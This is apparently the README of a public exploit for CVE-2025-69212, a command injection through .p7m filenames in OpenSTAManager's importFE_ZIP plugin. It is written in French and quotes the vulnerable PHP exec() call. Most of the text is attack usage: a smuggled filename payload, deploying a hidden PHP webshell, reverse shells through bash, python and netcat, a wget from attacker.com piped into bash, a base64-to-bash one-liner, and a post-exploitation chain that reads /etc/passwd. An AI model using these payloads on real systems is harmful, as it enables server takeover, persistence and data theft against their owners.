// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

# Connexion avec identifiants
python3 exploit.py -t http://target.com -u admin -p secret --check

# Utiliser un cookie de session existant
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

# Détection automatique du plugin et vérification de la vulnérabilité
python3 exploit.py -t http://target.com -u admin -p secret --check

# Avec IDs de module/plugin connus
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

# Déployer webshell dans le répertoire par défaut (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Répertoire et nom de fichier personnalisés
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

# Déployer webshell + shell interactif
python3 exploit.py -t http://target.com -u admin -p secret --rce

# Avec webshell existant d'une exécution précédente
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

# Reverse shell bash (par défaut, très fiable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Reverse shell python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat avec mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat avec option -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

# Exécuter une commande (aucun retour affiché)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# Télécharger et exécuter une charge utile
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

# Via proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# Avec délai entre requêtes (2 secondes)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# Ignorer la vérification SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Target:
  -t, --target           URL de base de la cible

Authentification:
  -u, --user             Nom d'utilisateur pour connexion
  -p, --password         Mot de passe pour connexion
  -c, --cookie           Valeur PHPSESSID existante

Actions:
  --check                Vérifier si la cible est vulnérable
  --webshell             Déployer une webshell PHP
  --rce                  Shell interactif via webshell
  --reverse-shell        Reverse shell (LHOST LPORT)
  --cmd COMMAND          Exécution de commande aveugle

Options de shell:
  --shell-dir DIR        Répertoire d'écriture de la webshell (défaut: files)
  --shell-name NAME      Nom de fichier personnalisé pour webshell
  --method METHOD        Méthode de reverse shell: bash, python, nc, nc-e

Détection de plugin:
  --module-id ID         ID du module OpenSTAManager
  --plugin-id ID         ID du plugin importFE_ZIP

Réseau:
  --proxy URL            URL du proxy HTTP
  -k, --no-ssl-verify    Désactiver la vérification SSL
  --delay SECONDS        Délai entre les requêtes

invoice.p7m";INJECTED_COMMAND;echo ".p7m

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

Télécharger ZIP via le plugin importFE_ZIP
    └── actions.php dispatch vers le gestionnaire de plugin
        └── ZipArchive::extractTo() extrait les fichiers
            └── Itère sur les fichiers .p7m
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── Le shell interprète les commandes injectées

1. --check             → Confirmer RCE via fichier marqueur
2. --webshell          → Déposer shell PHP dans le répertoire files/
3. --rce               → Exécution de commande interactive
4. Énumération           → id, cat /etc/passwd, ifconfig
5. Pivot               → Reverse shell vers l'attaquant, post-exploitation